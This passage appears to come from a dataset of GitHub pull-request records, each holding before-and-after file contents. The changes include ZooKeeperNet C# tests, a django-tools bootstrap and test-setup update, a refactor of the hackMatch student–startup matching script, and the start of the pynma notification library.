   protected ZooKeeper CreateClient(IWatcher watcher)\r\n        {\r\n            return new ZooKeeper(\"127.0.0.1:2181\", new TimeSpan(0, 0, 0, 10000), watcher);\r\n        }\r\n\r\n        protected ZooKeeper CreateClientWithAddress(string address)\r\n        {\r\n            CountdownWatcher watcher = new CountdownWatcher();\r\n            return new ZooKeeper(address, new TimeSpan(0, 0, 0, 10000), watcher);\r\n        }\r\n\r\n        public class CountdownWatcher : IWatcher\r\n        {\r\n            readonly ManualResetEvent resetEvent = new ManualResetEvent(false);\r\n            private static readonly object sync = new object();\r\n\r\n            volatile bool connected;\r\n\r\n            public CountdownWatcher()\r\n            {\r\n                Reset();\r\n            }\r\n\r\n            [MethodImpl(MethodImplOptions.Synchronized)]\r\n            public void Reset()\r\n            {\r\n                resetEvent.Set();\r\n                connected = false;\r\n            }\r\n\r\n            [MethodImpl(MethodImplOptions.Synchronized)]\r\n            public virtual void Process(WatchedEvent @event)\r\n            {\r\n                if (@event.State == KeeperState.SyncConnected)\r\n                {\r\n                    connected = true;\r\n                    lock (sync)\r\n                    {\r\n                        Monitor.PulseAll(sync);\r\n                    }\r\n                    resetEvent.Set();\r\n                }\r\n                else\r\n                {\r\n                    connected = false;\r\n                    lock (sync)\r\n                    {\r\n                        Monitor.PulseAll(sync);\r\n                    }\r\n                }\r\n            }\r\n\r\n            [MethodImpl(MethodImplOptions.Synchronized)]\r\n            bool IsConnected()\r\n            {\r\n                return connected;\r\n            }\r\n\r\n            [MethodImpl(MethodImplOptions.Synchronized)]\r\n            void waitForConnected(TimeSpan timeout)\r\n            {\r\n                DateTime expire = DateTime.UtcNow + timeout;\r\n                TimeSpan left = timeout;\r\n                while (!connected && left.TotalMilliseconds > 0)\r\n                {\r\n                    lock (sync)\r\n                    {\r\n                        Monitor.TryEnter(sync, left);\r\n                    }\r\n                    left = expire - DateTime.UtcNow;\r\n                }\r\n                if (!connected)\r\n                {\r\n                    throw new TimeoutException(\"Did not connect\");\r\n\r\n                }\r\n            }\r\n\r\n            void waitForDisconnected(TimeSpan timeout)\r\n            {\r\n                DateTime expire = DateTime.UtcNow + timeout;\r\n                TimeSpan left = timeout;\r\n                while (connected && left.TotalMilliseconds > 0)\r\n                {\r\n                    lock (sync)\r\n                    {\r\n                        Monitor.TryEnter(sync, left);\r\n                    }\r\n                    left = expire - DateTime.UtcNow;\r\n                }\r\n                if (connected)\r\n                {\r\n                    throw new TimeoutException(\"Did not disconnect\");\r\n                }\r\n            }\r\n        }\r\n\r\n    }\r\n}\r\n", "src/dotnet/ZooKeeperNet.Tests/RecoveryTest.cs": "/**\r\n * Licensed to the Apache Software Foundation (ASF) under one\r\n * or more contributor license agreements.  See the NOTICE file\r\n * distributed with this work for additional information\r\n * regarding copyright ownership.  The ASF licenses this file\r\n * to you under the Apache License, Version 2.0 (the\r\n * \"License\"); you may not use this file except in compliance\r\n * with the License.  You may obtain a copy of the License at\r\n *\r\n *     http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n */\r\nusing System;\r\nusing System.Threading;\r\nusing log4net;\r\nusing NUnit.Framework;\r\nusing Org.Apache.Zookeeper.Data;\r\n\r\nnamespace ZooKeeperNet.Tests\r\n{\r\n    public class RecoveryTest : AbstractZooKeeperTests, IWatcher\r\n    {\r\n        private readonly ILog LOG = LogManager.GetLogger(typeof(RecoveryTest));\r\n        private int setDataCount;\r\n        private int processCount;\r\n        private readonly string testPath = \"/unittests/recoverytests/\" + Guid.NewGuid();\r\n\r\n        [Test, Explicit]\r\n        public void ReconnectsWhenDisconnected()\r\n        {\r\n            using (\r\n                CancellationTokenSource token = new CancellationTokenSource())\r\n            {\r\n                Thread thread = new Thread(Run)\r\n                    {\r\n                        IsBackground = true,\r\n                        Name = \"RecoveryTest.Run\"\r\n                    };\r\n                thread.Start(token.Token);\r\n                Thread.Sleep(15*1000);\r\n                LOG.Error(\"STOP ZK!!!! Count: \" + processCount);\r\n                Thread.Sleep(20*1000);\r\n                LOG.Error(\"START ZK!!! Count: \" + processCount);\r\n                Thread.Sleep(30*1000);\r\n                LOG.Error(\"Stopping ZK client.\");\r\n                token.Cancel();\r\n                LOG.Error(\"Waiting for thread to stop...\" + processCount);\r\n                thread.Join();\r\n                if (thread.IsAlive)\r\n                    Assert.Fail(\"Thread still alive\");\r\n                Assert.AreEqual(setDataCount, processCount, \"setDataCount == processCount\");\r\n                LOG.Error(\"Finished:\" + setDataCount + \":\" + processCount);\r\n            }\r\n        }\r\n\r\n        private void Run(object sender)\r\n        {\r\n            try\r\n            {\r\n                CancellationToken token = (CancellationToken)sender;\r\n                using (ZooKeeper zooKeeper = CreateClient(this))\r\n                {\r\n                    Stat stat = new Stat();\r\n                    if (zooKeeper.Exists(\"/unittests/recoverytests\", false) == null)\r\n                    {\r\n                        zooKeeper.Create(\"/unittests\", new byte[] {0}, Ids.OPEN_ACL_UNSAFE, CreateMode.Persistent);\r\n                        zooKeeper.Create(\"/unittests/recoverytests\", new byte[] {0}, Ids.OPEN_ACL_UNSAFE, CreateMode.Persistent);\r\n                    }\r\n                    if (zooKeeper.Exists(testPath, false) == null)\r\n                    {   \r\n                        zooKeeper.Create(testPath, new byte[] {0}, Ids.OPEN_ACL_UNSAFE, CreateMode.Persistent);\r\n                    }\r\n                    while (zooKeeper.State.IsAlive() && !token.IsCancellationRequested)\r\n                    {\r\n                        try\r\n                        {\r\n                            zooKeeper.GetData(testPath, true, stat);\r\n                            zooKeeper.SetData(testPath, Guid.NewGuid().ToByteArray(), -1);\r\n                            setDataCount++;\r\n                        }\r\n                        catch(KeeperException ke)\r\n                        {\r\n                            LOG.Error(ke);\r\n                        }\r\n                    }\r\n                    LOG.Error(\"Waiting for dispose.\");\r\n                }\r\n            }\r\n            catch(Exception ex)\r\n            {\r\n                LOG.Error(ex);\r\n            }\r\n        }\r\n\r\n        public void Process(WatchedEvent @event)\r\n        {\r\n            LOG.Debug(@event);\r\n            if (@event.Type == EventType.NodeCreated || @event.Type == EventType.NodeDataChanged)\r\n            {\r\n                Interlocked.Increment(ref processCount);\r\n            }\r\n        }\r\n    }\r\n}"}}
{"repo": "jedie/django-tools", "pr_number": 99, "title": "Dev", "state": "closed", "merged_at": "2024-08-25T12:57:27Z", "additions": 1243, "deletions": 561, "files_changed": ["django_tools/__init__.py", "django_tools_project/tests/__init__.py", "manage.py"], "files_before": {"django_tools/__init__.py": "\"\"\"\n    \"django-tools\n    miscellaneous tools for Django based projects\n\"\"\"\n\n__version__ = '0.56.0'\n__author__ = 'Jens Diemer <django-tools@jensdiemer.de>'\n", "django_tools_project/tests/__init__.py": "import os\nimport unittest.util\nfrom pathlib import Path\n\nfrom bx_py_utils.test_utils.deny_requests import deny_any_real_request\n\n\ndef pre_configure_tests() -> None:\n    print(f'Configure unittests via \"load_tests Protocol\" from {Path(__file__).relative_to(Path.cwd())}')\n\n    # Hacky way to display more \"assert\"-Context in failing tests:\n    _MIN_MAX_DIFF = unittest.util._MAX_LENGTH - unittest.util._MIN_DIFF_LEN\n    unittest.util._MAX_LENGTH = int(os.environ.get('UNITTEST_MAX_LENGTH', 300))\n    unittest.util._MIN_DIFF_LEN = unittest.util._MAX_LENGTH - _MIN_MAX_DIFF\n\n    # Deny any request via docket/urllib3 because tests they should mock all requests:\n    deny_any_real_request()\n\n\ndef load_tests(loader, tests, pattern):\n    \"\"\"\n    Use unittest \"load_tests Protocol\" as a hook to setup test environment before running tests.\n    https://docs.python.org/3/library/unittest.html#load-tests-protocol\n    \"\"\"\n    pre_configure_tests()\n    return loader.discover(start_dir=Path(__file__).parent, pattern=pattern)\n", "manage.py": "#!/usr/bin/env python3\n\n\"\"\"\n    bootstrap CLI\n    ~~~~~~~~~~~~~\n\n    Just call this file, and the magic happens ;)\n\"\"\"\n\nimport hashlib\nimport shlex\nimport signal\nimport subprocess\nimport sys\nimport venv\nfrom pathlib import Path\n\n\ndef print_no_pip_error():\n    print('Error: Pip not available!')\n    print('Hint: \"apt-get install python3-venv\"\\n')\n\n\ntry:\n    from ensurepip import version\nexcept ModuleNotFoundError as err:\n    print(err)\n    print('-' * 100)\n    print_no_pip_error()\n    raise\nelse:\n    if not version():\n        print_no_pip_error()\n        sys.exit(-1)\n\n\nassert sys.version_info >= (3, 10), f'Python version {sys.version_info} is too old!'\n\n\nif sys.platform == 'win32':  # wtf\n    # Files under Windows, e.g.: .../.venv/Scripts/python.exe\n    BIN_NAME = 'Scripts'\n    FILE_EXT = '.exe'\nelse:\n    # Files under Linux/Mac and all other than Windows, e.g.: .../.venv/bin/python\n    BIN_NAME = 'bin'\n    FILE_EXT = ''\n\nBASE_PATH = Path(__file__).parent\nVENV_PATH = BASE_PATH / '.venv'\nBIN_PATH = VENV_PATH / BIN_NAME\nPYTHON_PATH = BIN_PATH / f'python{FILE_EXT}'\nPIP_PATH = BIN_PATH / f'pip{FILE_EXT}'\nPIP_SYNC_PATH = BIN_PATH / f'pip-sync{FILE_EXT}'\n\nDEP_LOCK_PATH = BASE_PATH / 'requirements.dev.txt'\nDEP_HASH_PATH = VENV_PATH / '.dep_hash'\n\n# script file defined in pyproject.toml as [console_scripts]\n# (Under Windows: \".exe\" not added!)\nPROJECT_SHELL_SCRIPT = BIN_PATH / 'django_tools_project'\n\n\ndef get_dep_hash():\n    \"\"\"Get SHA512 hash from lock file content.\"\"\"\n    return hashlib.sha512(DEP_LOCK_PATH.read_bytes()).hexdigest()\n\n\ndef store_dep_hash():\n    \"\"\"Generate .venv/.dep_hash\"\"\"\n    DEP_HASH_PATH.write_text(get_dep_hash())\n\n\ndef venv_up2date():\n    \"\"\"Is existing .venv is up-to-date?\"\"\"\n    if DEP_HASH_PATH.is_file():\n        return DEP_HASH_PATH.read_text() == get_dep_hash()\n    return False\n\n\ndef verbose_check_call(*popen_args):\n    print(f'\\n+ {shlex.join(str(arg) for arg in popen_args)}\\n')\n    return subprocess.check_call(popen_args)\n\n\ndef noop_sigint_handler(signal_num, frame):\n    \"\"\"\n    Don't exist cmd2 shell on \"Interrupt from keyboard\"\n    e.g.: User stops the dev. server by CONTROL-C\n    \"\"\"\n\n\ndef main(argv):\n    assert DEP_LOCK_PATH.is_file(), f'File not found: \"{DEP_LOCK_PATH}\" !'\n\n    # Create virtual env in \".venv/\":\n    if not PYTHON_PATH.is_file():\n        print(f'Create virtual env here: {VENV_PATH.absolute()}')\n        builder = venv.EnvBuilder(symlinks=True, upgrade=True, with_pip=True)\n        builder.create(env_dir=VENV_PATH)\n\n    if not PROJECT_SHELL_SCRIPT.is_file() or not venv_up2date():\n        # Update pip\n        verbose_check_call(PYTHON_PATH, '-m', 'pip', 'install', '-U', 'pip')\n\n        # Install pip-tools\n        verbose_check_call(PYTHON_PATH, '-m', 'pip', 'install', '-U', 'pip-tools')\n\n        # install requirements via \"pip-sync\"\n        verbose_check_call(PIP_SYNC_PATH, str(DEP_LOCK_PATH))\n\n        # install project\n        verbose_check_call(PIP_PATH, 'install', '--no-deps', '-e', '.')\n        store_dep_hash()\n\n    signal.signal(signal.SIGINT, noop_sigint_handler)  # ignore \"Interrupt from keyboard\" signals\n\n    # Call our entry point CLI:\n    try:\n        verbose_check_call(PROJECT_SHELL_SCRIPT, *argv[1:])\n    except subprocess.CalledProcessError as err:\n        sys.exit(err.returncode)\n\n\nif __name__ == '__main__':\n    main(sys.argv)\n"}, "files_after": {"django_tools/__init__.py": "\"\"\"\n    \"django-tools\n    miscellaneous tools for Django based projects\n\"\"\"\n\n__version__ = '0.56.1'\n__author__ = 'Jens Diemer <django-tools@jensdiemer.de>'\n", "django_tools_project/tests/__init__.py": "import os\nimport unittest.util\nfrom pathlib import Path\n\nfrom bx_py_utils.test_utils.deny_requests import deny_any_real_request\nfrom typeguard import install_import_hook\n\n\n# Check type annotations via typeguard in all tests:\ninstall_import_hook(packages=('django_tools', 'django_tools_project'))\n\n\ndef pre_configure_tests() -> None:\n    print(f'Configure unittests via \"load_tests Protocol\" from {Path(__file__).relative_to(Path.cwd())}')\n\n    # Hacky way to display more \"assert\"-Context in failing tests:\n    _MIN_MAX_DIFF = unittest.util._MAX_LENGTH - unittest.util._MIN_DIFF_LEN\n    unittest.util._MAX_LENGTH = int(os.environ.get('UNITTEST_MAX_LENGTH', 600))\n    unittest.util._MIN_DIFF_LEN = unittest.util._MAX_LENGTH - _MIN_MAX_DIFF\n\n    # Deny any request via docket/urllib3 because tests they should mock all requests:\n    deny_any_real_request()\n\n\ndef load_tests(loader, tests, pattern):\n    \"\"\"\n    Use unittest \"load_tests Protocol\" as a hook to setup test environment before running tests.\n    https://docs.python.org/3/library/unittest.html#load-tests-protocol\n    \"\"\"\n    pre_configure_tests()\n    return loader.discover(start_dir=Path(__file__).parent, pattern=pattern)\n", "manage.py": "#!/usr/bin/env python3\n\n\"\"\"\n    bootstrap CLI\n    ~~~~~~~~~~~~~\n\n    Just call this file, and the magic happens ;)\n\"\"\"\n\nimport hashlib\nimport shlex\nimport signal\nimport subprocess\nimport sys\nimport venv\nfrom pathlib import Path\n\n\ndef print_no_pip_error():\n    print('Error: Pip not available!')\n    print('Hint: \"apt-get install python3-venv\"\\n')\n\n\ntry:\n    from ensurepip import version\nexcept ModuleNotFoundError as err:\n    print(err)\n    print('-' * 100)\n    print_no_pip_error()\n    raise\nelse:\n    if not version():\n        print_no_pip_error()\n        sys.exit(-1)\n\n\nassert sys.version_info >= (3, 10), f'Python version {sys.version_info} is too old!'\n\n\nif sys.platform == 'win32':  # wtf\n    # Files under Windows, e.g.: .../.venv/Scripts/python.exe\n    BIN_NAME = 'Scripts'\n    FILE_EXT = '.exe'\nelse:\n    # Files under Linux/Mac and all other than Windows, e.g.: .../.venv/bin/python\n    BIN_NAME = 'bin'\n    FILE_EXT = ''\n\nBASE_PATH = Path(__file__).parent\nVENV_PATH = BASE_PATH / '.venv'\nBIN_PATH = VENV_PATH / BIN_NAME\nPYTHON_PATH = BIN_PATH / f'python3{FILE_EXT}'\nPIP_PATH = BIN_PATH / f'pip{FILE_EXT}'\nPIP_SYNC_PATH = BIN_PATH / f'pip-sync{FILE_EXT}'\n\nDEP_LOCK_PATH = BASE_PATH / 'requirements.dev.txt'\nDEP_HASH_PATH = VENV_PATH / '.dep_hash'\n\n# script file defined in pyproject.toml as [console_scripts]\n# (Under Windows: \".exe\" not added!)\nPROJECT_SHELL_SCRIPT = BIN_PATH / 'django_tools_project'\n\n\ndef get_dep_hash():\n    \"\"\"Get SHA512 hash from lock file content.\"\"\"\n    return hashlib.sha512(DEP_LOCK_PATH.read_bytes()).hexdigest()\n\n\ndef store_dep_hash():\n    \"\"\"Generate .venv/.dep_hash\"\"\"\n    DEP_HASH_PATH.write_text(get_dep_hash())\n\n\ndef venv_up2date():\n    \"\"\"Is existing .venv is up-to-date?\"\"\"\n    if DEP_HASH_PATH.is_file():\n        return DEP_HASH_PATH.read_text() == get_dep_hash()\n    return False\n\n\ndef verbose_check_call(*popen_args):\n    print(f'\\n+ {shlex.join(str(arg) for arg in popen_args)}\\n')\n    return subprocess.check_call(popen_args)\n\n\ndef noop_sigint_handler(signal_num, frame):\n    \"\"\"\n    Don't exist cmd2 shell on \"Interrupt from keyboard\"\n    e.g.: User stops the dev. server by CONTROL-C\n    \"\"\"\n\n\ndef main(argv):\n    assert DEP_LOCK_PATH.is_file(), f'File not found: \"{DEP_LOCK_PATH}\" !'\n\n    # Create virtual env in \".venv/\":\n    if not PYTHON_PATH.is_file():\n        print(f'Create virtual env here: {VENV_PATH.absolute()}')\n        builder = venv.EnvBuilder(symlinks=True, upgrade=True, with_pip=True)\n        builder.create(env_dir=VENV_PATH)\n\n    if not PROJECT_SHELL_SCRIPT.is_file() or not venv_up2date():\n        # Update pip\n        verbose_check_call(PYTHON_PATH, '-m', 'pip', 'install', '-U', 'pip')\n\n        # Install pip-tools\n        verbose_check_call(PYTHON_PATH, '-m', 'pip', 'install', '-U', 'pip-tools')\n\n        # install requirements via \"pip-sync\"\n        verbose_check_call(PIP_SYNC_PATH, str(DEP_LOCK_PATH))\n\n        # install project\n        verbose_check_call(PIP_PATH, 'install', '--no-deps', '-e', '.')\n        store_dep_hash()\n\n        # Activate git pre-commit hooks:\n        verbose_check_call(PYTHON_PATH, '-m', 'pre_commit', 'install')\n        verbose_check_call(PYTHON_PATH, '-m', 'pre_commit', 'autoupdate')\n\n    signal.signal(signal.SIGINT, noop_sigint_handler)  # ignore \"Interrupt from keyboard\" signals\n\n    # Call our entry point CLI:\n    try:\n        verbose_check_call(PROJECT_SHELL_SCRIPT, *argv[1:])\n    except subprocess.CalledProcessError as err:\n        sys.exit(err.returncode)\n\n\nif __name__ == '__main__':\n    main(sys.argv)\n"}}
{"repo": "jmax/bookr", "pr_number": 2, "title": "Modificadiones solicitadas", "state": "closed", "merged_at": null, "additions": 7, "deletions": 1, "files_changed": ["public/stylesheets/customstyles.css"], "files_before": {}, "files_after": {"public/stylesheets/customstyles.css": "//add here your custom styles"}}
{"repo": "hmason/hackMatch", "pr_number": 1, "title": "hmason", "state": "open", "merged_at": null, "additions": 111, "deletions": 89, "files_changed": ["download_stopwords.py", "hackmatch.py"], "files_before": {"hackmatch.py": "#!/usr/bin/env python\n# encoding: utf-8\n# recognize.\n\"\"\"\nhackmatch.py\n\nCreated by Hilary Mason, Chris Wiggins, and Evan Korth.\nCopyright (c) 2010 hackNY. All rights reserved.\n\"\"\"\n\nimport sys, os\nimport csv\nimport string\nfrom collections import defaultdict\nfrom optparse import OptionParser\nfrom nltk.tokenize import *\nfrom nltk.corpus import stopwords\nfrom hcluster import jaccard\n\n# startups: Name,E-mail,Company,In NYC,Funding,Site,Blog,Twitter,Num Employees,Environment,Project,Skills,Misc\n# students: Student Name,e-mail,University,Major,Degree,Graduation Date,Site,Blog,Twitter,Facebook,Project,Skills,Misc\n\nclass HackMatch(object):\n    DEBUG = False\n    BOW_FIELDS = ['Environment', 'Project', 'Skills', 'Misc']\n    COMPLETENESS_THRESHOLD = 4 # num of words necessary to match\n    \n    def __init__(self, student_file, startup_file, num_matches=3, distance=jaccard):\n        self.stopwords = self.get_stopwords()\n        self.distance = distance\n        \n        student_data = self.parseCSV(student_file)\n        startup_data = self.parseCSV(startup_file)\n        \n        doc_words = self.defineFeatures([student_data, startup_data], self.BOW_FIELDS)\n\n        # matches = self.doRanking(student_data, startup_data, doc_words, self.BOW_FIELDS, base_name_field='Student Name', match_name_field='Company')\n        matches = self.doRanking(startup_data, student_data, doc_words, self.BOW_FIELDS)\n\n        self.printMatches(matches, num_matches)\n        \n    def printMatches(self, matches, num_matches):\n        for n, m in matches.items():\n            print n\n            for item, score in sorted(m.items(), key=lambda(i,c):(-c, i))[:num_matches]:\n                print \"\\t%s :: %s\" % (item, score)\n                # print \"'%s' '%s' %s\" % (n.translate(string.maketrans(\"\",\"\"), string.punctuation), item.translate(string.maketrans(\"\",\"\"), string.punctuation), score)\n            print '\\n'\n            \n        \n    def doRanking(self, base_data, match_data, doc_words, fields=[], base_name_field='Company', match_name_field='Student Name'):\n        \"\"\"\n        do ranking\n        \"\"\"\n        base = {}\n        for item in base_data:\n            base[item[base_name_field]] = self.extractFeatures(item, doc_words, fields)\n            \n        matches = defaultdict(dict)\n        for match_item in match_data:\n            match_features = self.extractFeatures(match_item, doc_words, fields)\n\n            for base_item, base_item_features in base.items(): # actually do the comparison\n                if not base_item_features or not match_features:\n                    matches[match_item[match_name_field]][base_item] = 0.0\n                else:\n                    matches[match_item[match_name_field]][base_item] = self.distance(base_item_features, match_features)\n                if self.DEBUG:\n                    print \"%s :: %s = %s \" % (match_item[match_name_field], base_item, self.distance(base_item_features, match_features))\n\n        return matches\n\n    def extractFeatures(self, item, doc_words, fields=[]):\n        s_tokens = []\n        for f in fields:\n            tokens = None\n            try:\n                tokens = word_tokenize(item[f])\n            except (KeyError, TypeError):\n                pass\n                \n            if tokens:\n                s_tokens.extend(tokens)\n        \n        s_features = []        \n        for token in doc_words:\n            if token in s_tokens:\n                s_features.append(1)\n            else:\n                s_features.append(0)\n        \n        if sum(s_features) <= self.COMPLETENESS_THRESHOLD:\n            return None\n            \n        return s_features\n\n    def defineFeatures(self, data, fields=[]):\n        \"\"\"\n        define the global bag of words features\n        \"\"\"\n        ngram_freq = {}\n        \n        for d in data:\n            for r in d:\n                for f in fields:\n                    tokens = None\n                    try:\n                        tokens = word_tokenize(r[f])\n                    except (KeyError, TypeError):\n                        pass\n                    \n                    if tokens:\n                        for t in [t.lower() for t in tokens if t.lower() not in self.stopwords]:\n                            t = t.strip('.')\n                            ngram_freq[t] = ngram_freq.get(t, 0) + 1\n                            \n        ngram_freq = dict([(w,c) for w,c in ngram_freq.items() if c > 1])\n        if self.DEBUG:\n            print \"Global vocabulary: %s\" % len(ngram_freq)        \n        return ngram_freq\n    \n    def get_stopwords(self):\n        sw = stopwords.words('english')\n        sw.extend([',', '\\xe2', '.', ')', '(', ':', \"'s\", \"'nt\", '\\x99', '\\x86', '\\xae', '\\x92'])\n        return sw\n            \n    def parseCSV(self, filename):\n        \"\"\"\n        parseCSV: parses the CSV file to a dict\n        \"\"\"\n        csv_reader = csv.DictReader(open(filename))\n        return [r for r in csv_reader]\n        \n        \nif __name__ == '__main__':\n    parser = OptionParser()\n    parser.add_option(\"-n\",\"--number\", action=\"store\", type=\"int\", dest=\"num_matches\",default=10,help=\"number of results to return\")\n    parser.add_option(\"-s\",\"--student\", action=\"store\", type=\"string\", dest=\"student_file\",default=\"unmatched_students.csv\",help=\"csv of student data\")\n    parser.add_option(\"-t\",\"--startup\", action=\"store\", type=\"string\", dest=\"startup_file\",default=\"unmatched_top_startups.csv\",help=\"csv of startup data\")\n    (options, args) = parser.parse_args()\n    \n    h = HackMatch(num_matches=options.num_matches, student_file=options.student_file, startup_file=options.startup_file)"}, "files_after": {"download_stopwords.py": "from nltk import download\ndownload('stopwords')\n", "hackmatch.py": "#!/usr/bin/env python\n# encoding: utf-8\n# recognize.\n\"\"\"\nhackmatch.py\n\nCreated by Hilary Mason, Chris Wiggins, and Evan Korth.\nCopyright (c) 2010 hackNY. All rights reserved.\n\"\"\"\n# pylint: disable=W0614\n# pylint: disable=C0301\n\nfrom collections import defaultdict\nfrom optparse import OptionParser\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nfrom hcluster import jaccard\nfrom operator import itemgetter\nfrom csv import DictReader\n\n# startups: Name,E-mail,Company,In NYC,Funding,Site,Blog,Twitter,Num Employees,Environment,Project,Skills,Misc\n# students: Student Name,e-mail,University,Major,Degree,Graduation Date,Site,Blog,Twitter,Facebook,Project,Skills,Misc\n\n# Hack\n# I'd like to write this:\n#   return reduce(list.extend, list_of_lists)\n# but it generates an error I don't get\ndef list_reducer(list_iter):\n    result = []\n    for l in list_iter:\n        result.extend(l)\n    return result\n\ndef get_stopwords():\n    \"\"\"\n    get_stopwords: generate a list of stop words\n    \"\"\"\n    return stopwords.words('english') + [',', '\\xe2', '.', ')', '(', ':', \"'s\", \"'nt\", '\\x99', '\\x86', '\\xae', '\\x92']\n\ndef parse_csv(filename):\n    \"\"\"\n    parse_csv: parses the CSV file to a dict\n    \"\"\"\n    csv_reader = DictReader(open(filename))\n    return [r for r in csv_reader]\n\ndef print_matches(matches, num_matches):\n    \"\"\"\n    print_matches: print the top 'num_matches' matches\n    \"\"\"\n    for key, value_dict in matches.items():\n        print key\n        all_matches = sorted(value_dict.items(), key=itemgetter(1))\n        top_matches = all_matches[-num_matches:]\n        for item, score in top_matches:\n            print \"\\t%(item)s :: %(score)s\" % locals()\n            # print \"'%s' '%s' %s\" % (n.translate(string.maketrans(\"\",\"\"), string.punctuation), item.translate(string.maketrans(\"\",\"\"), string.punctuation), score)\n        print '\\n'\n\nclass HackMatch(object):\n    \"\"\"\n    HackMatch: class to encapsulate matching companies versus startups on selected fields\n    \"\"\"\n    DEBUG = False\n    BOW_FIELDS = ['Environment', 'Project', 'Skills', 'Misc']\n    COMPLETENESS_THRESHOLD = 4 # num of words necessary to match\n    \n    def __init__(self, student_file, startup_file, num_matches=3, distance=jaccard):\n        self.stopwords = set(get_stopwords())\n        self.distance = distance\n        \n        student_data = parse_csv(student_file)\n        startup_data = parse_csv(startup_file)\n        \n        doc_words = self.define_features([student_data, startup_data], self.BOW_FIELDS)\n\n        # matches = self.do_ranking(student_data, startup_data, doc_words, self.BOW_FIELDS, base_name_field='Student Name', match_name_field='Company')\n        matches = self.do_ranking(startup_data, student_data, doc_words, self.BOW_FIELDS)\n\n        print_matches(matches, num_matches)\n    \n    def do_ranking(self, base_data, match_data, doc_words, fields=None, base_name_field='Company', match_name_field='Student Name'):\n        \"\"\"\n        do ranking\n        \"\"\"\n        fields = fields or []\n        base = dict((item[base_name_field], self.extract_features(item, doc_words, fields)) for item in base_data)\n\n        matches = defaultdict(dict)\n        for match_item in match_data:\n            match_features = self.extract_features(match_item, doc_words, fields)\n            temp_dict = matches[match_item[match_name_field]]\n            for base_item, base_item_features in base.items(): # actually do the comparison\n                if not base_item_features or not match_features:\n                    temp_dict[base_item] = 0.0\n                else:\n                    temp_dict[base_item] = self.distance(base_item_features, match_features)\n                if self.DEBUG:\n                    print \"%s :: %s = %s \" % (match_item[match_name_field], base_item, self.distance(base_item_features, match_features))\n        return matches\n\n    def extract_features(self, item_dict, doc_words, fields=None):\n        \"\"\"\n        extract_features: Determine whether features pass test\n        \"\"\"\n        fields = fields or []\n        tokeniter = (item_dict[f] for f in fields if f in item_dict)\n        s_tokens = list_reducer(tokeniter)\n        s_features = [token in s_tokens for token in doc_words]\n        return s_features if sum(s_features) > self.COMPLETENESS_THRESHOLD else None\n\n    def define_features(self, data, fields=None):\n        \"\"\"\n        define the global bag of words features\n        \"\"\"\n        fields = fields or []\n        ngram_freq = defaultdict(int)\n        \n        featureiter = (\n            r[f]\n            for d in data\n            for r in d\n            for f in fields\n            if f in r\n        )\n        for field in featureiter:\n            tokeniter = (word.lower() for word in word_tokenize(field))\n            legaliter = (word.strip('.') for word in tokeniter if word not in self.stopwords)\n            for legal_word in legaliter:\n                ngram_freq[legal_word] += 1\n        ngram_freq = dict((word, word_count) for word, word_count in ngram_freq.items() if word_count > 1)\n        if self.DEBUG:\n            print \"Global vocabulary: %s\" % len(ngram_freq)        \n        return ngram_freq\n\nif __name__ == '__main__':\n    parser = OptionParser()\n    parser.add_option(\"-n\", \"--number\", action=\"store\", type=\"int\", dest=\"num_matches\", default=10, help=\"number of results to return\")\n    parser.add_option(\"-s\", \"--student\", action=\"store\", type=\"string\", dest=\"student_file\", default=\"unmatched_students.csv\", help=\"csv of student data\")\n    parser.add_option(\"-t\", \"--startup\", action=\"store\", type=\"string\", dest=\"startup_file\", default=\"unmatched_top_startups.csv\", help=\"csv of startup data\")\n    (options, args) = parser.parse_args()\n    \n    hackmatch = HackMatch(num_matches=options.num_matches, student_file=options.student_file, startup_file=options.startup_file)\n"}}
{"repo": "babs/pyrowl", "pr_number": 7, "title": "pep8 style", "state": "closed", "merged_at": null, "additions": 30, "deletions": 26, "files_changed": ["pynma/__init__.py", "pynma/pynma.py", "setup.py", "test.py"], "files_before": {"pynma/__init__.py": "#!/usr/bin/python\n\nfrom .pynma import PyNMA \n\n", "pynma/pynma.py": "#!/usr/bin/python\n\nfrom xml.dom.minidom import parseString\n\ntry:\n        from http.client import HTTPSConnection\nexcept ImportError:\n        from httplib import HTTPSConnection\n\ntry:\n        from urllib.parse import urlencode\nexcept ImportError:\n        from urllib import urlencode\n\n__version__ = \"0.1\"\n\nAPI_SERVER = 'www.notifymyandroid.com'\nADD_PATH   = '/publicapi/notify'\n\nUSER_AGENT=\"PyNMA/v%s\"%__version__\n\ndef uniq_preserve(seq): # Dave Kirby\n    # Order preserving\n    seen = set()\n    return [x for x in seq if x not in seen and not seen.add(x)]\n\ndef uniq(seq):\n    # Not order preserving\n    return list({}.fromkeys(seq).keys())\n\nclass PyNMA(object):\n    \"\"\"PyNMA(apikey=[], developerkey=None)\ntakes 2 optional arguments:\n - (opt) apykey:      might me a string containing 1 key or an array of keys\n - (opt) developerkey: where you can store your developer key\n\"\"\"\n\n    def __init__(self, apikey=[], developerkey=None):\n        self._developerkey = None\n        self.developerkey(developerkey)\n        if apikey:\n            if type(apikey) == str:\n                apikey = [apikey]\n        self._apikey          = uniq(apikey)\n\n    def addkey(self, key):\n        \"Add a key (register ?)\"\n        if type(key) == str:\n            if not key in self._apikey:\n                self._apikey.append(key)\n        elif type(key) == list:\n            for k in key:\n                if not k in self._apikey:\n                    self._apikey.append(k)\n\n    def delkey(self, key):\n        \"Removes a key (unregister ?)\"\n        if type(key) == str:\n            if key in self._apikey:\n                self._apikey.remove(key)\n        elif type(key) == list:\n            for k in key:\n                if key in self._apikey:\n                    self._apikey.remove(k)\n\n    def developerkey(self, developerkey):\n        \"Sets the developer key (and check it has the good length)\"\n        if type(developerkey) == str and len(developerkey) == 48:\n            self._developerkey = developerkey\n\n    def push(self, application=\"\", event=\"\", description=\"\", url=\"\", contenttype=None, priority=0, batch_mode=False, html=False):\n        \"\"\"Pushes a message on the registered API keys.\ntakes 5 arguments:\n - (req) application: application name [256]\n - (req) event:       event name       [1000]\n - (req) description: description      [10000]\n - (opt) url:         url              [512]\n - (opt) contenttype: Content Type (act: None (plain text) or text/html)\n - (opt) priority:    from -2 (lowest) to 2 (highest) (def:0)\n - (opt) batch_mode:  push to all keys at once (def:False)\n\n - (opt) html:        shortcut for contenttype=text/html\n\n - (opt) html:        shortcut for 